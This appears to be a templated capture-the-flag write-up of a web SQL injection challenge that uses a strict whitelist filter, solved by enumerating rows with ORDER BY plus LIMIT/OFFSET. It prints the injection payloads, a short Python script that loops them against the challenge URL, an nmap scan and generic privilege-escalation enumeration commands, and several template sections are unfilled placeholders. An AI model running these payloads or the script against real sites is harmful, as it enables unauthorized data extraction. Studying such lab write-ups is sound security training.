Dead or alive 8
Dead or alive 8
Platform: Web Kids20 | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-09 | Status: Solved Techniques: blind_sqli, limit_offset_extraction, order_by_enumeration
Summary
SQL injection bypass task. Strict whitelist filter allowing only specific characters and patterns.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
web-kids20| ID:20260309_web_kids20_websql_bypass8 - Tags: waf_bypass, SQLi, mysql, whitelist_filter, order_by, limit_offset
- Indicators: strict whitelist WAF, only specific characters allowed, ORDER BY not filtered, LIMIT/OFFSET available, need to enumerate rows one by one
- Source:
20260309_web_kids20_websql_bypass8.md
Foothold
Vulnerability / Misconfiguration
- Blind_sqli
- Limit_offset_extraction
- Order_by_enumeration
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- blind_sqli
- limit_offset_extraction
- order_by_enumeration
- Tags: waf_bypass, SQLi, mysql, whitelist_filter, order_by, limit_offset
Original Writeup
<details><summary>Click to expand original content</summary>Description
SQL injection bypass task. Strict whitelist filter allowing only specific characters and patterns.
URL: http://kslweb1.spb.ctf.su/SQLi/bypass8/
Analysis
Eighth task in the SQL injection bypass series. Unlike previous tasks with blacklist filters, this one uses a whitelist — only specific constructs are allowed.
Key observations:
SELECT,UNIONand other standard keywords are blockedORDER BYis allowed (used for sorting results)LIMITandOFFSETare allowed- Numbers are allowed
This allows using the row enumeration technique via ORDER BY + LIMIT + OFFSET.
Solution
ORDER BY + LIMIT OFFSET enumeration principle
When UNION/SELECT are blocked but ORDER BY and LIMIT are available, you can:
- Use
ORDER BYto sort by the desired column - Use
LIMIT 1 OFFSET Nto get the N-th row - Iterate OFFSET from 0 to the number of rows
Basic payload
' ORDER BY 1 LIMIT 1 OFFSET 0--
' ORDER BY 1 LIMIT 1 OFFSET 1--
' ORDER BY 1 LIMIT 1 OFFSET 2--
...
Automation
#!/usr/bin/env python3
import requests
url = "http://kslweb1.spb.ctf.su/sqli/bypass8/"
for offset in range(100):
payload = f"' ORDER BY 1 LIMIT 1 OFFSET {offset}--"
r = requests.get(url, params={"id": payload})
if "spbctf" in r.text:
print(f"[+] Found at offset {offset}")
print(r.text)
break
# Check if there's data
if "No results" in r.text or len(r.text) < 100:
print(f"[-] No more data at offset {offset}")
break
print(f"[{offset}] {r.text[:100]}...")
Alternative techniques
If character-by-character extraction is needed (blind):
- Use
ORDER BYwith a condition for binary search - Combine with
CASE WHENif allowed
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR